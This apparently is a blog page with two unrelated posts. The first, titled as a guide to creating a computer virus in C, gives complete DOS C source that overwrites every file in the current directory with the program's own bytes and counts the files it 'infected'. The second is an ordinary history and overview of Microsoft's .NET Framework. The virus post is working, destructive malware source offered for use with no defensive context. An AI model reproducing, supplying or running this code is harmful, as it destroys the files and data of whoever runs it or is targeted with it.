Saturday 4 January 2014

How to Create a Computer Virus in C language??

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

.Net Concepts Overview

Net Technology Overview


The .NET Framework is a development and execution environment that allows different programming languages and libraries to work together seamlessly to create Windows-based applications that are easier to build, manage, deploy, and integrate with other networked systems.

Built on Web service standards, .NET enables both new and existing personal and business applications to connect with software and services across platforms, applications, and programming languages. These connections give users access to key information, whenever and wherever you need it.

Microsoft .NET–connected software makes the "real-time" enterprise real by enabling information to flow freely throughout the organization, accessible to business partners, and delivering value to customers. With .NET-connected software, users can increase the value of existing systems and seamlessly extend those systems to partners, suppliers, and customers.

  • Connected
    .NET Framework empowers developers to build applications that require robust messaging systems or flexible workflows.
  • Compelling
    With the .NET Framework, developers and designers can collaborate to create rich user experiences.
  • Ubiquitous and Productive
    The .NET Framework, including improvements like LINQ, provides a single platform to quickly build mobile desktop and server-based applications.

The most important question is What is .NET ?, and the simplest answer is : it is a Framework in which Windows applications may be developed and run. I agree that this answer does not tell much. In order to understand .NET we must go back in time and follow the development of Windows and the advent of Windows programming. 

Let's see how a traditional windows application works. 

Windows provide the programmers with various functions - called API. Starting from the very first time Windows enter the commercial market to the latest version of WindowsXP, APIs are the basic tool to let the Windows know what you want it to do. If you want to create a Dialog Box you must call a specific API provided to you by Windows. Making a button requires another API call. And the list goes on. As new GUIs appear on the seen, new APIs are introduced in Windows. But using these native APIs was a very challenging task. Making a simple Window that prints "Hello World" could take more than hundred lines. Compare this to 5 lines of "Hello World" program in DOS. Due to this difficulty, Windows programming was considered something better left to the experts. Microsoft and other commercial organization's realized this and started marketing Visual Tools that made the programmer's life easy. Using Visual C++, Visual Basic, Borland's C++ and other such IDEs, it became simpler to make Windows programs. 

Various vendors develop their own "Wrapper classes"  that wrapped the Windows APIs in an Object-Oriented way. The Microsoft Foundation Classes (MFC) that are used in Visual C++, is an example of Wrapper classes. The MFC equivalent of Visual Basic is VBRun; and for Visual J++ it is WFC. These Wrapper Classes, along with the Visual GUI tools made it very convenient to make windows programs. 

Microsoft realized that applications need a solid way to talk to each other. And this resulted in the introduction of Object Linking and Embedding (OLE). OLE was an extremely useful concept, but it had two major flaws : It was notoriously difficult to program, and it was very limited in its scope - i.e. it only did a few things like drag and drop, clipboard sharing, OLE client, OLE server etc. Microsoft addressed (or at least tried to address) both these problems. They upgraded OLE to COM. COM  was much more capable than OLE, and it introduced new concept like ActiveX controls which directly competed with Java Applets. As for the difficulty of programming OLE/COM; Microsoft expanded the MFC and VBRun to take care of most of the dirty job. Although making an ActiveX application still was slightly tricky in Visual C++, but developing an ActiveX application in Visual Basic was extremely easy; and hence Visual Basic became the foremost ActiveX development media.

The Internet revolution posed new problems and challenges. C/C++ which was the tool of champions was not suited/ready for Web Development. Microsoft tried expanding MFC, and included several network oriented classes - like CSocket, CASyncSocket, and several HTTP based classes. Using these classes a programmer could very develop a distributed application - although not without considerable effort. But these applications were always customized and targeted to the specific task. The developers had to take care of the gory network communication details themselves. By now object-oriented analysis and development had started becoming ubiquitous. Although technologies like Remote Procedure Call (RPC) was a great help to the programmers; but it was limited in its scope. With programmers following the Object-Oriented development RPC was not much help at all; since RPC did not allow passing objects as parameters. This major issue was addressed by introduction of industry's agreed upon standards like CORBA, IIOP, RMI, DCOM etc. All these standards used customized protocol to transmit an object over the network, and they required a tight coupling between the server and the client - i.e. the client needed to be fully aware of how to talk to the server. Due to this tight client-server coupling all these protocols needed considerable deployment efforts in order for distributed applications to function properly. Sun did come up with another layer on top of RMI - the famous Enterprise Java Beans (EJB). The EJB container provided lot of services for free - all that a programmer had to do was to extend (inherit) from an appropriate EJB base class and there you have it - a fully functional distributed application. EJB made programmer's life extremely easy; but it did not eradicate the client-server coupling issue. 

While all this was happening - Microsoft was still not facing the writing on the wall - MICROSOFT NEEDED SOMETHING RADICALLY NEW TO  MATCH UP TO THE CHANGING TIMES AND CHANGING DEMANDS. Microsoft soon realized that upgrading their existing technologies would not work - what they needed was a complete change in their philosophy. OLE was upgraded to COM - and it was welcomed by all. COM was then upgraded to COM+. Microsoft addressed the distributed programming issue with the introduction of DCOM. Although COM/COM+/DCOM were all good technologies but these technologies required significant learning curve. Sun on the other hand was making things easier and hence a majority of developers were turning towards Java based technologies for distributed enterprise applications.

Microsoft - after the cold treatment faced by DNA - got their gurus together and asked them to reflect back on DNA and to come up with a future vision. This group came up with so many new and great ideas which made Microsoft realized that no amount of up gradation or extension in MFC/VBRun/WFC, COM/COM+/DCOM, ASP, APIs etc. would even come closer to realizing this new vision. So they made a radical but correct decision - and this was the decision of coming up with something big, something new, and something that lets Microsoft make up for their lapses - this was called the .NET Framework.

Developed by Microsoft 
Latest release 4.5.1Operating system Windows NT 4.0, Windows 98 and above 
Type Software framework 
License  MS-EULA, BCL under Microsoft Reference License